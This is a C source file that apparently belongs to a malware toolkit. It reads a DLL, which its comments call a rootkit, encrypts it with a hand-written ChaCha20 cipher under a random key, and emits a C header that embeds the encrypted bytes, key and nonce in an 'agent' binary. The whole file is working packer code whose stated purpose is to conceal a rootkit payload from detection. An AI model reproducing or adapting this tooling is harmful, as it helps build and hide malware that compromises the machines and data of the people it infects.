/* * rk_dll_encrypt.c - Encrypt rootkit DLL for embedding in the agent. * * Reads a DLL binary, encrypts it with a random ChaCha20 key, and outputs * a C header file containing the encrypted bytes, key, and nonce. * * Usage: rk_dll_encrypt.exe * * Compile: gcc -O2 -o rk_dll_encrypt.exe rk_dll_encrypt.c -lbcrypt */ #include #include #include #include #ifdef _WIN32 #include #include #pragma comment(lib, "bcrypt") #endif /* ====================================================================== * ChaCha20 implementation (RFC 8439) * ====================================================================== */ #define ROTL32(v, n) (((v) << (n)) | ((v) >> (32 - (n)))) #define QR(a, b, c, d) do { \ a += b; d ^= a; d = ROTL32(d, 16); \ c += d; b ^= c; b = ROTL32(b, 12); \ a += b; d ^= a; d = ROTL32(d, 8); \ c += d; b ^= c; b = ROTL32(b, 7); \ } while(0) static uint32_t load_le32(const uint8_t *p) { return ((uint32_t)p[0]) | ((uint32_t)p[1] << 8) | ((uint32_t)p[2] << 16) | ((uint32_t)p[3] << 24); } static void chacha20_encrypt(const uint8_t key[32], const uint8_t nonce[12], const uint8_t *in, uint8_t *out, size_t len) { uint32_t state[16]; state[0] = 0x61707865; state[1] = 0x3320646e; state[2] = 0x79622d32; state[3] = 0x6b206574; for (int i = 0; i < 8; i++) state[4 + i] = load_le32(key + i * 4); state[12] = 0; state[13] = load_le32(nonce); state[14] = load_le32(nonce + 4); state[15] = load_le32(nonce + 8); size_t offset = 0; while (offset < len) { uint32_t x[16]; memcpy(x, state, 64); for (int i = 0; i < 10; i++) { QR(x[0], x[4], x[ 8], x[12]); QR(x[1], x[5], x[ 9], x[13]); QR(x[2], x[6], x[10], x[14]); QR(x[3], x[7], x[11], x[15]); QR(x[0], x[5], x[10], x[15]); QR(x[1], x[6], x[11], x[12]); QR(x[2], x[7], x[ 8], x[13]); QR(x[3], x[4], x[ 9], x[14]); } uint8_t block[64]; for (int i = 0; i < 16; i++) { uint32_t val = x[i] + state[i]; block[i*4+0] = (uint8_t)(val); block[i*4+1] = (uint8_t)(val >> 8); block[i*4+2] = (uint8_t)(val >> 16); block[i*4+3] = (uint8_t)(val >> 24); } state[12]++; size_t chunk = len - offset; if (chunk > 64) chunk = 64; for (size_t i = 0; i < chunk; i++) out[offset + i] = in[offset + i] ^ block[i]; offset += chunk; } } /* ====================================================================== * Random bytes * ====================================================================== */ static int random_bytes(uint8_t *buf, size_t len) { #ifdef _WIN32 NTSTATUS status = BCryptGenRandom(NULL, buf, (ULONG)len, BCRYPT_USE_SYSTEM_PREFERRED_RNG); return (status >= 0) ? 0 : -1; #else FILE *f = fopen("/dev/urandom", "rb"); if (!f) return -1; size_t r = fread(buf, 1, len, f); fclose(f); return (r == len) ? 0 : -1; #endif } /* ====================================================================== * Main * ====================================================================== */ int main(int argc, char *argv[]) { if (argc != 3) { fprintf(stderr, "Usage: %s \n", argv[0]); return 1; } const char *input_path = argv[1]; const char *output_path = argv[2]; /* Read input DLL */ FILE *fin = fopen(input_path, "rb"); if (!fin) { fprintf(stderr, "ERROR: Cannot open input file: %s\n", input_path); return 1; } fseek(fin, 0, SEEK_END); long file_size = ftell(fin); fseek(fin, 0, SEEK_SET); if (file_size <= 0 || file_size > 100 * 1024 * 1024) { fprintf(stderr, "ERROR: Invalid file size: %ld\n", file_size); fclose(fin); return 1; } uint8_t *dll_data = (uint8_t *)malloc((size_t)file_size); if (!dll_data) { fprintf(stderr, "ERROR: malloc failed\n"); fclose(fin); return 1; } if (fread(dll_data, 1, (size_t)file_size, fin) != (size_t)file_size) { fprintf(stderr, "ERROR: Failed to read input file\n"); free(dll_data); fclose(fin); return 1; } fclose(fin); /* Generate random key and nonce */ uint8_t key[32], nonce[12]; if (random_bytes(key, 32) != 0 || random_bytes(nonce, 12) != 0) { fprintf(stderr, "ERROR: Failed to generate random bytes\n"); free(dll_data); return 1; } /* Encrypt DLL */ uint8_t *enc_data = (uint8_t *)malloc((size_t)file_size); if (!enc_data) { fprintf(stderr, "ERROR: malloc failed\n"); free(dll_data); return 1; } chacha20_encrypt(key, nonce, dll_data, enc_data, (size_t)file_size); free(dll_data); /* Write output header */ FILE *fout = fopen(output_path, "w"); if (!fout) { fprintf(stderr, "ERROR: Cannot open output file: %s\n", output_path); free(enc_data); return 1; } fprintf(fout, "// Auto-generated by rk_dll_encrypt - DO NOT EDIT\n"); fprintf(fout, "// Rootkit DLL: %ld bytes (ChaCha20 encrypted)\n", file_size); fprintf(fout, "#ifndef RK_DLL_BYTES_H\n"); fprintf(fout, "#define RK_DLL_BYTES_H\n\n"); /* Key */ fprintf(fout, "static const unsigned char RK_DLL_KEY[32] = {\n "); for (int i = 0; i < 32; i++) { fprintf(fout, "0x%02X", key[i]); if (i < 31) fprintf(fout, ", "); if ((i + 1) % 16 == 0 && i < 31) fprintf(fout, "\n "); } fprintf(fout, "\n};\n\n"); /* Nonce */ fprintf(fout, "static const unsigned char RK_DLL_NONCE[12] = {\n "); for (int i = 0; i < 12; i++) { fprintf(fout, "0x%02X", nonce[i]); if (i < 11) fprintf(fout, ", "); } fprintf(fout, "\n};\n\n"); /* Encrypted data */ fprintf(fout, "static const unsigned char RK_DLL_ENC[] = {"); for (long i = 0; i < file_size; i++) { if (i % 16 == 0) fprintf(fout, "\n "); fprintf(fout, "0x%02X", enc_data[i]); if (i < file_size - 1) fprintf(fout, ", "); } fprintf(fout, "\n};\n\n"); fprintf(fout, "static const unsigned int RK_DLL_ENC_SIZE = %lu;\n\n", (unsigned long)file_size); fprintf(fout, "#endif // RK_DLL_BYTES_H\n"); fclose(fout); free(enc_data); /* Clear key from memory */ memset(key, 0, sizeof(key)); memset(nonce, 0, sizeof(nonce)); printf("Encrypted %ld bytes -> %s\n", file_size, output_path); return 0; }